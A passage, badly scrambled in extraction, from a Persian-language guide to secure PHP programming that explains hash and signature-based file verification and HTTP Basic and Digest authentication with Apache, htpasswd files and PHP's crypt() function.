 نمایند.  اجتناب نشده، داده تغییر و یکسان فایلجهت 

 ممکن شوند،می متفاوت بسیارسازی درهم مقادیر موجب پیام یک در تغییرات ریزترین حتی معمولا هرچند

 این بنابراین،نمایند.  تولید را یکسانیسازی درهم مقدار متفاوت، کاملا پیام دو یعنی، دهد، رخ تصادم است

 تغییرای گونه به را پیام یک محتوای مهاجم یک که است، اندک بسیار آن احتمال هرچند دارد، وجود امکان

 تصادم یک یافتن سختی که اندکرده کشف را هاییروش شود. محققین ایجاد مشابهیسازی درهم که دهد

جهت  توانمی را روش این عملی، موضوع یک عنوان به حال، این با دهد،می کاهش را مفروض پیام هرجهت 

 دارند.  نیاز را امنیت سطوح بالاترین که هاییآن از غیر به آورد شمار به ایمن ها،برنامه تمامی

  امضاها از استفاده با اعتبار تایید 2.3.2

 بدون توانیدها میآن در که است، مناسبهایی سیستمجهت  تنهایی به دایجست هایالگوریتم از استفاده

 استفاده هنگام نمایید. ولی اعتماد کنید،می استفادهها فایل اعتبار تاییدجهت  که هشی مقدار به تردیدی هیچ

 بنیادی خطای یک دارای دایجست رویکرد سرورها، توسط شده ارسالهای فایل محتوای اعتبار تاییدجهت 

 مهاجم یک باشد. اگر معتبر هش، مقدار این که ندارید مسئله این دانستنجهت  مطمئنی روش است: هیچ

 بود خواهد قادر زیاد احتمال به وی آنگاه کند، کاریدست را وب دایرکتوری یک درها فایل محتوای باشد قادر
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 صورتی در تنهاسازی درهم کند. مقادیر دستکاری نیز را سیستم همان روی بر دایجستی دادهپایگاه یک که

 باشند.  شده واقع تایید مورد و منتشر منبع، یک از بیش از استفاده با که هستند اعتماد قابل

 فرستنده که دارید اطمینان که حدی تا حداقل، هستند تایید قابل کاملا 24دیجیتال امضاهای دیگر، سوی از

 و نموده اتخاذ را سند یکسازی درهم امضا، باشد. یکمی خاص عمومی کلید یک دارای که است کسی تنها

 که کند. هرکسیمی رمزنگاری فرستنده، خصوصی کلید و نامتقارن الگوریتم یک از استفاده با را آن سپس

 این که کند تایید و نماید، رمزگشایی را امضا این تواندمی باشد داشته اختیار در را فرستنده عمومی کلید

 و ()signهای روش که است کاری همان دقیقا است. این منطبق دریافتی، سندسازی درهم باسازی درهم

verify() کلاس در openSSL.php دادند.  انجام فصل، این ابتدای در 

  خلاصه 2.4

 متفاوت و معمول مشکل سه حلجهت  را رمزنگاری و PHP از استفادهجهت  عملیهای روش اینجا، در ما

 شد:  خواهید مواجهها آن با خود وبهای برنامهی توسعه هنگام در احتمالا شما که دادیم قرار بحث مورد

 ها آن نمودنسازی درهم با عبور رمزهای از حفاظت •

  نامتقارن چه و متقارن صورت به چه ها،آن رمزنگاری با حساسهای داده از حفاظت •

 امضاهای از استفاده با یا بعدی و قبلیهای سازیی درهممقایسه با پیام یا فایل محتوای اعتبار تایید •

 کنند(. می ترکیب ساده،ی بسته یک در را قبلی روش دو )که دیجیتال

 

 

 

 اعتبار( و صحت ) تایید 25دسترسی : کنترل سوم فصل 3

 هر و  کاربران مختلفهای دسته که است کاری کردن محدود معنای به سرور به دسترسی نمودن کنترل

 همچنین بلکه ساده، انسانی کاربران فقط نه دهند، و انجام شما منابع با توانندمی خاص کاربران از کدام

 که روتینی )مثل هستند اجرا حال در شما سرور روی بر پیوسته صورت به که هاییپردازش ها،دایمون

 کنند.  آغاز نیز  راها پردازش سایر توانندمی خودی نوبه به و کند(،می مدیریت را شده بندیزمان کارهای
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 : شودمی نگریسته مجزای مسئله سه عنوان به معمولا مسئله این

  اطمینان با پردازش یا کاربر هویت تعیین •

 خیر.  یا باشدمی منابع از استفادهجهت  صلاحیت دارای شدهشناسایی کاربر یک آیا اینکه تعیین •

 قرار است، شده صلاحیت تایید درستی به که کاربر یک دسترس در باید منابعی چه اینکه تعیین •

 گیرد. 

. باشدمی صلاحیت تاییدی مسئله، مسئله دومین و شودمی صحت و اعتبار تایید مبحث باعث مسئله اولین

 هر به شوند؛نمی نیز متمایز یکدیگر از حتی گاهی که دارند نزدیک ارتباط هم باای اندازه به مبحث دو این

 هم با راها این ما بنابراین باشد. ومی خودکار صلاحیت تایید شامل اعتماد معمولا قابل هویت تعیین حال،

 یک ما فصل، این بریم. درمی کار به آنجهت  را صحت تایید کلی اصطلاح و دهیممی قرار بحث مورد

 حل راه شامل که دهیممی قرار بررسی مورد را صلاحیت تایید و اعتبار تاییدها سیستم از گستردهی مجموعه

 باشد. می نیز PHP بر مبتنیی یگانه شناسایی

  صلاحیت تایید 3.1

کند.  استفاده شمای برنامه ازمایل هست  که، کاربر یک هویت تعیین فرآیند از است عبارت صلاحیت تایید

 یک اعتبار تاییدی مسئله حال، هر در ولی باشد خودکار پردازش یک یا و انسان، یک است ممکن کاربر این

 ادعا که است فردی همان کاربر یک که شوید مطمئن توانیدمی است: چگونه یکسان اصولا دیجیتال هویت

 وی هویت با مرتبط که را رمزعبور، یک معمولا اطلاعات، مقداری تا شودمی خواسته کاربر از اصولا، کند؟می

 یک همراه به را عمومی کلید یک یا و دیجیتال گواه یک است ممکن کاربر حال، عین نماید. در ارائه است،

 حتی است ممکن شدید، امنیتی وضعیت یک در نماید. یا، ارائه مربوطه، خصوصی کلید توسط شده امضا پیام

 تایید ازها برنامه ترینکند. ایمن ارائه را 26رتینا از اسکن یک دیجیتال رمزنگاری که شود خواسته کاربر از

 کلید یک دارای هم که کند اثبات که خواهندمی کاربر از و کنندمی استفاده عاملی سه حتی یا و دو صلاحیت

 موج بر شدن سوار با IBMقوی. ) رمزعبور یک دارای هم و انگشت، اثر یا 27چیپ یک مثلا است، فیزیکی

 بر را تجمیعی اثرانگشتی خواننده یک که کرد اعلام 2005 مارس در افزوده، امنیتجهت  عمومی اشتیاق

 همراه تلفن یک داشتن نیازمندها برنامه از دهد(. بعضیمی قرار خودهای تاپلپ Thinkpad تولید خط روی

 تلفن اپراتور توانایی بر بنابراین و کنندمی ارسال آن بهپیامک  طریق از را اشتراکی رمز یک که هستند فعال
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 وجوه دریافت اهدافجهت  توانایی این دارای باید )که کنندمی تکیه شما، دقیق تشخیصجهت  شما همراه

 به هنوزها آن از کدام هیچ که دهدمی نشان درستی به تقریبا سنجی صلاحیت مختلفهای روش باشد(. تعداد

 داشتن و درست رمزعبور یک داشتن یعنی هستندها روش ترینساده که روش دو است. ولی نرسیده کمال

 هستند.  مناسب اهداف، از بسیاریجهت  مطمئنا قبول، قابل خصوصی کلید یک

 این آیا شود؛ برنامه یک وارد که دهید ناشناس( اجازه کاربر )یک مهمان یک به است ممکن شما گاهی،

 با خیر؛ هم و بله هم خوب، است؟شده صلاحیت تایید یعنی، است، شده داده تشخیص درستی به مهمان

 توانیدمی اطمینان از قبولی قابلی درجه با ،HTTP کوکی یک قبیل از ای،جلسه مکانیسم یک از استفاده

 دیگر، عبارت باشد. بهمی فرد همان دیگر، درخواست از بعد درخواست هر در خاص مهمان یک که بگویید

 دانید. درنمی را مهمان این دقیق هویت ولی دهید تشخیص را مهمان آن با مرتبطی جلسه توانیدمی شما

 نه.  کاربر ولی شودمی صلاحیت تایید جلسه حالتی، چنین

 HTTP صلاحیت تایید 3.2

 پاسخ-چالش صلاحیت تاییدهای روتین از استفاده از عبارت کاربر یک صلاحیت تاییدجهت  ساده روش یک

 یک دارای که هاییآن الخصوصعلی وب،های خود هست. جهت برنامه سرور وب یا عامل سیستم درونی

 تایید که باشد،می HTTP صلاحیت تایید از استفاده روش ترینساده هستند، کاربران از محدود تعداد

 دسترسی برابر در حفاظت بنابراین، و دهدمی ارائه را کاربرانبرای  عبور رمز بر مبتنیی ساده صلاحیت

 SSL از شما که است مسئله این از مستقل کاملا فرآیند این که داشت توجه . بایدکندمی  ارائه را ناشناخته

 عمل خوبی صورت به کاملا HTTP صلاحیت خیر. تایید یا کنیدمی استفاده وب ارتباطات سازیجهت ایمن

 صلاحیت تایید که باشید داشته یاد شود. بهمی تامین SSL توسط که اضافی حفاظت بدون حتی کندمی

 این که نیست معنا این به است؛ کاربری نام همراه درست رمزعبور دارای فرد یک که کندمی تضمین تنها

 یابد. می انتقال سرور ومشتری  بین که چرا است محرمانه یا و دارد قرار حفاظت تحت ضرورتا رمزعبور

 سیستم مدیر یا و شما یا که است مناسب هاییجهت سیستم HTTP صلاحیت تایید که داشت توجه باید

 باشد. این داشته کنترل تحت شود،می دادهها آن به دسترسی که را افرادی فهرست دقیق طور به بتواند

 صلاحیت تایید برپایی منظور به یابد. بنابراینمی تعمیم نیز کاربران این رمزعبورهای به معمولا کنترل

HTTP ایجاد را آنان رمزعبورهای و کاربران از فهرست یک سرور، روی بر که دارید مدیریتی مسئولیت شما 

 حریمهای سیاست و کاربر اعتبار تایید مانند )به کندمی ایجاد را مسائل ازای مجموعه امر کنید. این

 نظر مد باید امنیتی مباحث با ارتباط در حال، این با ولی هستند مستند اینی گستره از فراتر خصوصی( که

 پیشنهاد را رایت واین پیتری ( نوشتهApress ، 2004)ای حرفه آپاچی کتاب توانیممی گیرند. ما قرار

 نماییم. 
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 یک روی بر آپاچی سرور وب از استفاده حال در شما که کنیممی فرض اینجا در همیشه مثل که هرچند

 هستند. یک مشابهی منابع دارای نیز سرورها و عاملهای سیستم سایر کاربران هستید، باکس لینوکس

 آدرس در IIS تحت کاربران صلاحیت تایید خصوص در راحت آموزش

http://www.authenticationtutorial.com/tutorial دارد. قرار 

 HTTP ابتدایی صلاحیت تایید 3.2.1

 طورهمان ابتدایی، صلاحیت تایید از است عبارت، جهت استفاده HTTP صلاحیت تایید از شکل ترینساده

 ماژول با را ابتدایی صلاحیت تایید است. آپاچی شده مشخص HTTP 1.0 پروتکل در RFC 1945 در که

mod_auth در فرضپیش صورت به که کندمی مدیریت httpd.conf بستر است. در قرار داده شده SSL، 

، عبور رمز بر مبتنی صلاحیت تاییدهای مکانیسم سایر از کدام هری اندازه همان به ابتدایی صلاحیت تایید

 بود. با خواهد ایمن واقعا سیستم زدن، حدس قابل غیر و قوی رمزعبورهای از استفاده است: با امنیت دارای

 خطر برابر شبکه( در ترافیکی همه مانند )به ابتدایی صلاحیت تایید نشده، رمزنگاری انتقال یک با حال، این

 یک عنوان به تقریبا باید را ابتدایی صلاحیت وضعیتی، تایید چنین دارد. در قرار مهاجم فرد یک دادن گوش

 نیروی باشد نیاز آنکه بدون شود وارد در این از توانست خواهد فردی آورد. هر شمار به شده قفل حفاظتی در

جهت  واقع در روش این بود. بنابراین، خواهد قوانین نقض نوعی کار این انجام ولی دهد، خرج به را زیادی

 و دارد وجود کاربر اندکی تعدادها آن در که است مناسب پایین امنیت با و متوسط صلاحیت تایید نیازهای

 نمایند.  کنترل را خود رمزعبورهای خواهدنمی یا و ندارند نیازی اصولا کاربران

 ( PHP )و آپاچی با ابتدایی صلاحیت تایید از استفاده 3.2.1.1

 روی بر ساده فایل یک در را خود کاربریهای نام و رمزعبورها ابتدایی، صلاحیت تایید با کاربردی یک برنامه

 PHP از استفاده با را ابتدایی تایید نوع این توانمی چگونه که دهیممی نشان اینجا در کند.می ذخیره سرور

جهت  PHP اسکریپت از داد. ما قرار استفاده مورد آپاچی صلاحیت تایید مکانیسم همراه به و نمود برپا

 اهدافجهت )که  است روشی که کنیممی استفاده آپاچی، توسط استفاده مورد htpasswd. فایل مدیریت

 نوع هیچ به نیاز عدم مزیت دارای ولی دهد انجام دستی صورت به را کارها تمامی دادن( باید نمایش

 شما،جهت  را رمزعبور ایجاد تواندمی )که باشدمی آپاچی htpasswdی برنامه اجرایجهت  28شل دسترسی

 نماید(.  مدیریت
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 رمزعبورها تمامی سیستم مدیر یا شما که است اینبه  نیازمند که دلیل این به روش، این که داشت توجه باید

 باشدمی مناسب کاربران اندک نسبتا تعداد با هاییسیستمجهت  تغییر(، یا حذف )افزودن، نمایید مدیریت را

 ندارند.  رمزعبور و کاربری نام بر علاوه کاربری اطلاعاتی ذخیره به نیازی که هاییسیستم و

 کنیدمی ایجاد خود محلی سیستم روی بر مناسب دایرکتوری یک در را ساده متنی فایل یک شما •

 و خالی باشد. خطوطمی user:password شکل به رمزعبورها و کاربران از فهرست یک حاوی که

 نامیم: می passwords.txt را فایل این شوند. مامی داده اجازه # علامت با شروع توضیح با خطوط

 

 بیان قبلا که طورنماییم. همان رمزنگاری را رمزعبور مقادیر این که است این بعدیی مرحله •

 در دهید. ولی انجام فرمان خط از را کار این توانیدمی باشید، شل دسترسی دارای شما اگر نمودیم،

 داد انجام شل، به دسترسی چنین داشتن بدون را کار این توانمی چگونه که دهیممی نشان اینجا

 در ()crypt تابع در را passwords.txt فایل در موجود رمزعبورهای از کدام هر که صورت این به

PHP که است کاری با مشابه امر کنیم. )اینمی وارد htpasswd رمزعبورها رمزنگاری هنگام 

 عنوان به را آمدهارائه  خروجی شما رمزعبورها، این رمزنگاری از دهد(. بعدمی انجام

passwords.crypt فایل که اسکریپت کنید. یکمی ذخیره passwords.txt فایل به را شما 

passwords.crypt در تواندمی اسکریپت است. این آمده ادامه در کندمی تبدیل docroot شما 

کنید.  فراخوانی را آن توانیدمی هستید، رمزعبور مدیریت اجرای نیازمند که بار هر و شود ذخیره

 داشته تفاوت سیستم هر در است ممکن ()crypt تابع کاربردهای که دلیل این به که کنید توجه

 که موردی با مشابه سرور OS روی بر اسکریپت این که است اهمیت حائز مسئله این باشند،

 شود.  اجرا دهید، قرار حفاظت مورد خواهیدمی

 



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

79 

 

 
 

 



  PHPنویسي امن برنامه

80 

 

 
 

 

 

  فایل محتوای که شودمی ارائه فرم یک شما به شود،می فراخوانی اسکریپت این که باری اولین

passwords.txt حساس بسیاری ساده متن رمزعبورهای تا دهدمی اجازه روش کنید. اینمی کپی آن در را 

 که فرض این )با نمایید ایمن زیادی حد تا راها آن بنابراین و دارید نگه دور سرور از کامل صورت به را

 است(.  ایمن شما کاری ایستگاه

 و توضیح خطوط و کرده جدا را رمزعبورها و کاربریهای نام از کدام هر اسکریپت این فرم، ارسال از بعد

 خط، هر رمزعبور بخشجهت  را ()crypt تابع گیرد. سپس،می نادیده را ورودی این در خالی خطوط

 همراه به رمزنگاریسازی درهم یک یا سویه یک رمزنگاری الگوریتم یک از ()crypt کند. تابعمی فراخوانی

ی شده رمزنگاری مقدار دارای هیچگاه یکسان رمزعبور یک کهای گونه به کندمی استفاده تصادفی salt یک

 رمزعبوری مقایسه هنگام در آن از بتوان تا شودمی اضافه، شده رمزنگاری مقدار به salt نباشد. این یکسان

 رمزعبورهایی جهت ذخیره ()crypt از یونیکس عاملهای نمود. سیستم استفاده دوباره هش، با واقعی

 رمزعبوری جهت ذخیره ()crypt از هم آپاچی کردیم، بیان قبلا که طورهمان و کنندمی استفاده سیستمی

 کند. می استفاده
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 از ناشی وجیخر شوند. شمامی نوشته خروجی روی بر آمدهی ارائه شدهسازی درهم رمزعبور و کاربری نام

 شامل فایل کنید. اینمی ذخیره خود، محلی ماشین روی بر passwords.cryptعنوان  به را مرورگر

 باشدمی username:password فرمت همان در شده رمزنگاری رمزعبورهای و کاربریهای نام از فهرستی

 است:  شده داده نشان اینجا در که

 

ی ریشه از خارج که دایرکتوری در و ترجیحا کنید کپی سرور روی بر را passwords.crypt فایل •

 این به دستوری با امر این نباشد(، دسترسی قابل اینترنت طریق از )تا باشدمی سایت وب اسناد

 شود: می انجام شکل

 

 وب طریق از که شرطی به باشد،می هاییفایل چنینی ذخیرهجهت  عالی مکان یک شمای خانه دایرکتوری

 ماشین روی بر ایمن صورت به باید passwords.txt یعنی ساده متن رمزعبور نباشد. فایل دسترسی قابل

 حساسی اطلاعات حاوی نه و است نابینا خود، خودی به htpasswd.php بماند. اسکریپت باقی شما محلی

 باشد.  داشته دسترسی اطلاعاتی چنین به تواندمی نه و باشدمی

 HTTP ابتدایی صلاحیت جهت تایید passwords.crypt فایل از که کنید تنظیمای گونه به را آپاچی

 و مکانی بلوک یا دایرکتوری مجازی،میزبان  هر در httpd.conf در را کار این توانیدمی شما نماید، استفاده

 درخواست سیستم مدیر از باید ندارید، دسترسی httpd.conf به دهید. اگر انجام عمومی، صورت به یا

 شما، سندی ریشه در موجود htaccess. فایل یک با را httpd.conf در AuthConfig تنظیمات تا نمایید

 درخواستی چنین نیستید، اگر باشید؛ای اجازه چنین دارای قبل از است ممکن واقع، نماید. در بازنویسی

 باشد.  منطقی کاملا درخواست یک تواندمی

 از قبل است موفق ابتدایی صلاحیت تایید نیازمند که است شده آورده htaccess. فایل یک از مثالی اینجا در

 یک در که منابعی یا کندمی محافظت آن از که بدهد را دایرکتوری درون منابع به دسترسی کاربر به آنکه

 زیر یک در دیگر htaccess. فایل یک توسط محدودیت این اینکه )مگر دارند قرار آن در زیردایرکتوری

 باشد(:  تاثیر تحت دایرکتوری،
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 این در درخواست نوع هرجهت  را معتبر رمزعبور و کاربری نام یک آپاچی که شوندمی باعث تنظیمات این

 دستورالعملباشند.  داشته وجود شده، مشخص passwords.crypt فایل در باید که نماید درخواست مکان،

AuthName نشان درخواستی پنجره در که مقداری از است عبارت )که شودمی قلمرو مقدار تنظیم باعث 

 آپاچی نماید، ارائه HTTP معتبر صلاحیت تایید هدر یک بدون را درخواست یک مشتری شود(. اگرمی داده

 نام درخواست مرورگر شودمی باعث که دهد،می پاسخ HTTP WWW صلاحیت تایید هدر یک یارائه با

 کند.  ایجاد را 1-3 تصویر در شده داده نشان رمزعبور-کاربری

 HTTP صلاحیت تایید هدر توسط شده ایجاد عبور رمز- کاربری نام درخواستی : پنجره1-3 تصویر

WWW آپاچی 

 

کند. می صادر را درخواستی ادامهی اجازه آپاچی شدند، تایید معتبر، کاربری الزامات که هنگامی •

 تایید کاربر کاربری نام که خواهدمی احتمالا باشد، درخواست این هدف PHP اسکریپت یک اگر

جهت  SERVER[‘REMOTE_USER’]$_ عنوان به مقدار بداند. این را شده صلاحیت

 است.  دسترس در شما اسکریپت

 کاربر یک نکند، تغییر AuthUserName فایل در موجود رمزعبور مقدار که صورتی در که نمود توجه باید

 مرورگر ندارد؛ تاثیری هیچ قلمرو مقدار بود. تغییر خواهد لاگین صورت به خود، مرورگری جلسه مدت در
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 کند. هیچ کار به آغاز دوباره و شده بسته که زمانی تا کندمی ارائه را صلاحیت تایید مشخصات همان همچنان

 ندارد.  وجود HTTP ابتدایی صلاحیت تایید با سرور سمت 29اوتلاگ یک اجرایای جهت ساده راه

 عبور، رمزهای و کاربریهای نامی ذخیرهجهت  دادهپایگاه یک از استفاده با همچنین ابتدایی صلاحیت تایید

 یا و MySQL قبیل از استانداردی دادهپایگاه یک از استفاده با یا را کار این توانیدمی است. شما پذیر امکان

 دهید.  انجام dbm مسطح فایل یک

 بود خواهد فایل خواندن ازتر سریع زیادی حد تا دادهپایگاه به دسترسی که باشدمی مزیت این دارای امر این

ای لایه یک دادهپایگاه یک از شود. استفاده جستجو رکورد بیشتری تعداد یا صد چند از یکی که باشد لازم اگر

 سیستمی چنین مدیریت و دهیمقیاس قابلیت زیادی حد تا ولی کندمی اضافه را کوچک(، پیچیدگی )هرچند

ارائه  و خود رمزعبورهای تغییرجهت  کاربرانجهت  غنی رابط یکی توسعه علاوه، به و بخشدمی بهبود را

 نماید. می تسهیل را شمای برنامه در خود هویتی اطلاعات روی بر کنترل آوردن

  PHP با فقط ابتدایی صلاحیت تایید از استفاده 3.2.1.2

 )مثلا شود استفاده ابتدایی صلاحیت تایید مدیریتجهت  آپاچی از که ندارد وجود امکان این دلیلی هر به اگر

 که هرچند دارد، وجود امکان این دهد(،نمی را AuthConfig بازنویسیی اجازه شما به سیستم مدیر اگر

 که داشت توجه داد. باید انجام PHP از استفاده با تنها را صلاحیت تایید روتین همین که باشد، مبهم اندکی

 PHP در شودمی انجام که صلاحیتی تایید که چرا کندمی حفاظت PHPهای اسکریپت از تنها روش این

 داد:  انجام را کار این توانمی چگونه که میدهیم نشان اینجا در باشد. مامی

 بخش در شده توصیف شکل همان به است شده رمزنگاری رمزعبورهای حاوی که را فایلی شما •

 کنید. می ایجاد قبلی،

 کاربر یک که گیرد قرار اسکریپتی اولین در تواندمی که کنیدمی ایجاد را صلاحیت تایید روتین یک شما

 است.  شده آورده ادامه در روتینی چنین (. کدindex.php )معمولا داد خواهد

                                                   

 

 

29 Lougout 
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 قرار FALSE روی بر را auth$ صلاحیت تایید پرچم ابتدا در است. شما سرراست بسیار کد این جریان

 است. شما نموده ارائه را رمزعبور هم و کاربری نام هم کاربر که شودمی اجرا زمانی if عبارت دهید. اولینمی

 در را آن و نموده بازخوانی passwords.crypt فایل از را عبور رمز-کاربری نام ممکن ترکیبات فهرست کل

 وجود کاربران از کوچک نسبتا تعداد یک که کنیممی فرض اینجا کنید. )درمی ذخیره userList$ی آرایه

 را آرایه این نمایید.( سپس بازخوانی تنهایی به را م کدا هر که است بهتر احتمالا زیاد، تعداد یکجهت  دارد؛

 تابع از استفاده با هدف مقادیر به را رکورد شما ترتیب، به خط دهید. جهت هرمی قرار بررسی مورد ترتیب به

explode() مطابق کنید. اگرمی مقایسه کاربر، توسط شده ارسال مقدار با را هدف نام و کنیدمی تقسیم 

 مقایسه شده، ذخیره صحیح مقدار با را آن و نموده رمزنگاری را کاربر سوی از شده ارسال رمزعبور بودند،

 دهید. می قرار TRUE با برابر را auth$ پرچم مقدار شما موفق،ی مقایسه از کنید. بعدمی

 کاربر که زمانی یا و باشد ننموده وارد را مقدار دو هر هنوز کاربر که شودمی اجرا زمانی if عبارت دومین

 -کاربری نام درخواست یک تا کنندمی وادار را آپاچی هدر،های باشد. دستورالعمل کرده وارد را غلطی مقدار

-WWW هدر در شده مشخص شد. قلمرو داده نشان 1-10 تصویر در قبلا که کند صادر را رمزعبور

Authenticate: Basic ظاهر صلاحیت تایید گوی و گفت کادر در که است تصادفی کاملا نام یک 

 یکها آنجهت  مرورگر که شودمی استفاده شما سایتوب نواحی نمودن مشخصجهت  شود. قلمرومی

 هرجهت  دستی صورت به که ندارد نیازی کاربر کهای گونه به کندمی ارائه را اعتبارات از خاصی مجموعه

 باشند: اگر مرتبط هم به شما سایت در قلمروها که نیست دهد. نیازی انجام را صلاحیت تایید درخواست،

 مرورگر باشد، marketing/ دایرکتوری مانند به یکسان صلاحیت تایید قلمرو دارای sales/ دایرکتوری

 نمود.  خواهد ارائه درخواست هنگام را رمزعبور و کاربری نام همان

 موارد ارزیابی که جایی )در یابدمی ادامه اسکریپت بالای در اجرا کند،می وارد را مقادیر کاربر اینکه محض به

 بخش به شما باشد، داشته وجود کاربر ارسالی مقادیر با مشکلی گیرد(. اگرمی انجام کاربر، سوی از ارسالی

 خواهد ادامه حلقه شد. این خواهد صادر دوباره رمزعبور -کاربری نام درخواست آنجا در که رسید،می دوم
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 اسکریپت از خروج باعث که کند لغو را درخواست یا نماید وارد را صحیح مقادیر کاربر که زمانی تا یافت

 شد.  خواهد

 شده واردهای فایل این که دارد وجود نظرهایی اختلاف مسئله این خصوص در نویسیبرنامهی جامعه نکته: در

 گذارینام صورت این به اسکریپت اگر که چرا باشدمی php پسوند به ما باشند. نظر پسوندی چه دارای باید

 را inc )بعضی پسوندها سایر از طرفداری دلایل از شد. یکی نخواهد ارائه عموم به تصادفی صورت به شود،

 در کامل صورت به مبحث شود. اینها میاسکریپت این تصادفی اجرای مانع که است دهند( اینمی ترجیح

 php. پسوند مادهد. می را inc. پسوند از استفاده پیشنهاد نهایت در که است گرفته قرار بررسی مورد آدرس

 است. تر ایمن ما نظر به که چرا دهیممی ترجیح را

 دهدمی انجام کاری واقعا که کنید استفاده اسکریپت این در صلاحیت تایید روتین از باید شما نهایت، در

 دهد(. کدنمی انجام معناداری کار واقع در اسکریپت این است، نمایشی دلایلجهت  تنها که آنجا از )هرچند،

 است شده آورده ادامه در روتین این دادن نشانجهت  مربوطه

 

 که دهید قرار اسکریپتی اولین ابتدای در را کد از کوچکی تکه این باید شما کردیم، بیان قبلا که طورهمان

 افزایدمی را صلاحیت تایید روتین تنها کد باشد(. اینمی index.php معمولا )که کندمی مشاهده کاربر هر

 باز اینجا به شود، موفق کاربر اگر و شودمی خارج شود، صلاحیت تایید نتواند کاربر که صورتی در که

 پرداخت.  خواهید برنامه اصلی کار به ادامه در شما تولیدی، محیط یک گردد. درمی
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  در کاربر سوی از شده ارائه رمزعبور و کاربری نام شد، بیان قبلا که طورهمان

 گرفت. اگر کار به جلسه هر در بار یک توانمی تنها را روتین این کهای گونه به شودمی ذخیره 30گلوبال-سوپر

 صلاحیت تایید خودکار صورت به کاربر کنید، استفاده کاربر از دوباره ورود درخواستجهت  آن از بخواهید

 نیازمند که کنید استفاده اسکریپت یک از که صورت این به بزنید دور را رفتار این توانیدمی شود. شمامی

 باشد. می دیگر لاگین یکجهت  منطقی زمان تنها که باشدمی متفاوت قلمرو یک در 31لاگین

 یک به دادن گوش حال در که هر کسی که هستند ضعف این دارای ابتدایی صلاحیت تاییدهای روش تمامی

 رمزعبور و کاربری نام تواندمی باشد سروروب و شما مرورگر وب بین نشده رمزنگاری TCPهای بسته استریم

 مورد مواردی در باید تنها نشده رمزنگاریهای شبکه بستر در ابتدایی صلاحیت تایید دریابد. بنابراین، را شما

 باید ولی هستند عمومی حدودی تا که هاییبرنامه قبیل از باشد کافی متوسط امنیت که گیرد قرار استفاده

 یک مورد، این از خوب بسیار مثال دهند. یک نسبت خاص کاربر یک به را دسترسی یا وها فعالیت بتوانند

 حریم با مرتبطهای داده سایر یا و عکس از واقعی کپی که باشدمی عکسی دهنده تغییر یک قبیل از برنامه

 از را خود ترجیحات تا دهد اجازه کاربران به اگر یافت خواهد بهبود بسیار ولی کندنمی ذخیره را خصوصی

 باشند.  داشته دسترسیها آن به مختلفهای رایانه روی بر و نمایند ذخیره دیگرای جلسه تاای جلسه

 HTTP دایجست صلاحیت تایید 3.2.2

RFC 2068 که HTTP 1.1 در کندمی توصیف را( در دسترس http:rfc.net/rfc2068.html،) در 

 از ابتدایی صلاحیت تایید مشخصات و RFC 1945 از بعد ماه هفت تنها یعنی شد صادر 1997ی ژانویه

 این صلاحیت تاییدای هروش تعمیمی اجازه آشکار شکل به همچنین داشت. ولی همراه به را قبلی ویرایش

 آن از جامع توصیف یکجهت  که نمود معرفی را HTTP دایجست صلاحیت تایید و دادمی را پروتکل

 یک رمزعبور از حفاظت به قادر HTTP دایجست صلاحیت کنید. تایید مراجعه RFC 2069 به توانیدمی

 که باشدمی پیام دایجست یک نمودن وارد با نشده رمزنگاریی شبکه یک بستر در حتی انتقال حین در کاربر

 است.  شدهسازی درهم  ()md5 تابع از استفاده با

 شود: می مدیریت زیر شکل به آپاچی mod_auth_digest آزمایشی ماژول توسط دایجست صلاحیت تایید

 کند. می درخواست را شده حفاظت منبع یکمشتری  یک •
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 WWW-Authenticate:Digest هدر همراه به را Unauthorized 401 هدر یک سرور •

( WWW-Authenticate: Basic با بود برابر هدر این ابتدایی صلاحیت تایید )با کندمی ارسال

 از است عبارت معمولا nonce باشد. یکمی مصرف بار یک رقم یک یا nonce یک شامل که

 سرور توسط تنها کهای داده )یا خصوصی کلید نوعی و زمانی برچسبی علاوه به مشتری IP آدرس

 شوند. می مشخص هگزادسیمال صورت به همگی شود( کهمی شناخته

 تاییدجهت  را ثانویه درخواست یک مشتری کاربر، از رمزعبور و کاربری نام یک دریافت از بعد •

 نام شامل که است Authorized هدر یک شکل به درخواست کند. اینمی ارسال صلاحیت

 به دایجست، )یا MD5سازی درهم یک گسترده، پیام یک سپس ساده( و متن شکل )به کاربری

 باشد: می زیر چهار( مورد )یا سه است( از شده انتخاب دایجست صلاحیت تایید نام دلیل همین

 دو علامت دارای فرمت )با username:realm:password از MD5سازی درهم یک -الف 

 نقطه(. 

 است.  نموده دریافت اکنون هم که nonce -ب 

 دو دارای فرمت با نیز اینجا )در URIاولیه:  HTTP درخواست روش از MD5سازی درهم یک -ج 

 که آنجا وجود. از صورت در درخواست،ی بدنه و اولیه هدرهای سایر از اختیاریسازی درهم یک و نقطه(؛

 اجازه سرور به اولیهی بدنهسازی درهم از استفاده شود،می ارسال درخواستی بدنه در POSTی داده

 GETهای درخواستجهت  امر اند. ایننشده داده تغییر انتقال، زمان در مقادیر این که کند تایید تا دهدمی

 شوند. میسازی درهم URI از بخشی عنوان به GET مقادیر که چرا باشدنمی ضروری

 استفاده ساده متن کاربری نام از تواندمی کندمی دریافت را Authorized هدر سرور که هنگامی •

 ابتدا در )که nonce هم و username:realm:passwordی شدهذخیرهسازی درهم تا نماید

 استفاده با تواندمی کند. بنابراین، پیدا قبلی را درخواست از را درخواست اطلاعات هم بود( و فرستاده

 هم با را دو این و نموده ایجاد را خود دایجست مشتری، توسط استفاده مورد الگوریتم همان از

 کند. رد( می )یا تایید را ثانویه درخواست این مقایسه، این اساس نماید. بر مقایسه

 یک ارقام این تعریف اساس بر که چرا است دارخنده )اندکی کند استفاده دوباره هاnonce از تواندمی سرور

 هدر افزودن با درخواست هرجهت  را جدید nonce یک تواندمی هستند( یا مصرف بار

AuthenticationInfo یک صدور کند. با ایجاد پاسخ، در nonce سرور درخواست، هرجهت  متفاوت 
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 یک نمودن 32هایجکجهت  روشی عنوان به را قبلیهای درخواست پخش بازجهت  کننده حمله یک توانایی

 است ممکن که چرا کندمی اضافه سرورجهت  نیز را سربار از مشخص مقدار یک ولی دهدمی کاهش جلسه،

 هر در را nonce چندین بنابراین و دهد قرار نظر مد را مشتری همان سوی از متعددی موازیهای درخواست

 بپذیرد.  معتبر اعداد عنوان به زمان

 و هدرها ازسازی درهم )یک نباشد چهارم اختیاری بخش شامل دایجست که صورتی در که است توجه شایان

 که سرورهایی سایر یا HTTPهای پراکسی توسط تواندمی PUT یا POST مقدار هر اولیه(،ی بدنه

